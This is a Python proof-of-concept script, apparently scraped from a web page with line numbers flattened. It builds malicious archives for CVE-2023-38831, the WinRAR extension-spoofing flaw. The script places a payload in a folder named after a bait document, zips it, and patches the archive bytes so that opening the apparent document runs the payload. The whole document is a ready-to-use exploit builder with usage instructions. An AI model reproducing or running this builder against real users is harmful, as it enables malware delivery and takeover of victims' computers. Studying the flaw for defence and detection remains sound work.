1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| import os import zipfile import shutil
TempFile = "result"
def main(): print("cve-2023-38831.py by Garck3h,modified by Paul\n") args = os.sys.argv[1:] # Get command-line arguments argLen = len(args)
if argLen > 2: TypeFile = os.path.basename(args[0]) # Extract file type Payload = os.path.basename(args[1]) # Extract payload file file_extension = os.path.splitext(Payload)[1] OuputFile = os.path.basename(args[2]) # Extract output file else: print("Usage:\n python cve-2023-38831.py <TypeFile> <Payload> <OuputFile>") os.sys.exit(1)
print("TypeFile:", TypeFile) print("Payload:", Payload) print("OuputFile:", OuputFile)
try: os.mkdir(TempFile) # Create temporary directory except Exception as e: print(e) os.sys.exit(1)
d = os.path.join(TempFile, TypeFile + "A") try: os.mkdir(d, 0o755) # Create subdirectory under temporary directory except Exception as e: print(e) os.sys.exit(1)
try: shutil.copy(Payload, os.path.join(d, TypeFile + "A"+file_extension)) # Copy payload file to TypeFileA.cmd except Exception as e: print(e) os.sys.exit(1)
try: shutil.copy(TypeFile, os.path.join(TempFile, TypeFile + "B")) # Copy file type file to TypeFileB except Exception as e: print(e) os.sys.exit(1)
try: zip_directory(TempFile) # Zip the temporary directory except Exception as e: print(e) os.sys.exit(1)
try: with open(TempFile + ".zip", "rb") as file: file_content = file.read() # Read the compressed file content except Exception as e: print(e) os.sys.exit(1)
bait_ext = "." + TypeFile.split(".")[1] # Extract file extension file_content = bytes_replace(file_content, bait_ext.encode() + b"A", bait_ext.encode() + b" ") # Replace "TypeFileA" with "TypeFile " file_content = bytes_replace(file_content, bait_ext.encode() + b"B", bait_ext.encode() + b" ") # Replace "TypeFileB" with "TypeFile "
try: os.remove(TempFile + ".zip") # Delete temporary zip file except Exception as e: print(e) os.sys.exit(1)
try: print("Changing suffix..") with open(OuputFile, "wb") as file: file.write(file_content) # Write modified content to output file except Exception as e: print(e) os.sys.exit(1) try: shutil.rmtree(TempFile) # Delete temporary directory except Exception as e: print(e) os.sys.exit(1) print("Generation completed")
def copy_file(src, dst): with open(src, "rb") as in_file, open(dst, "wb") as out_file: out_file.write(in_file.read())
def zip_directory(dir_name): with zipfile.ZipFile(TempFile + ".zip", "w", zipfile.ZIP_DEFLATED) as zip_file: for root, _, files in os.walk(dir_name): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, dir_name) zip_file.write(file_path, arcname=arcname)
def bytes_replace(source, old, new): return source.replace(old, new)
if __name__ == "__main__": main()
|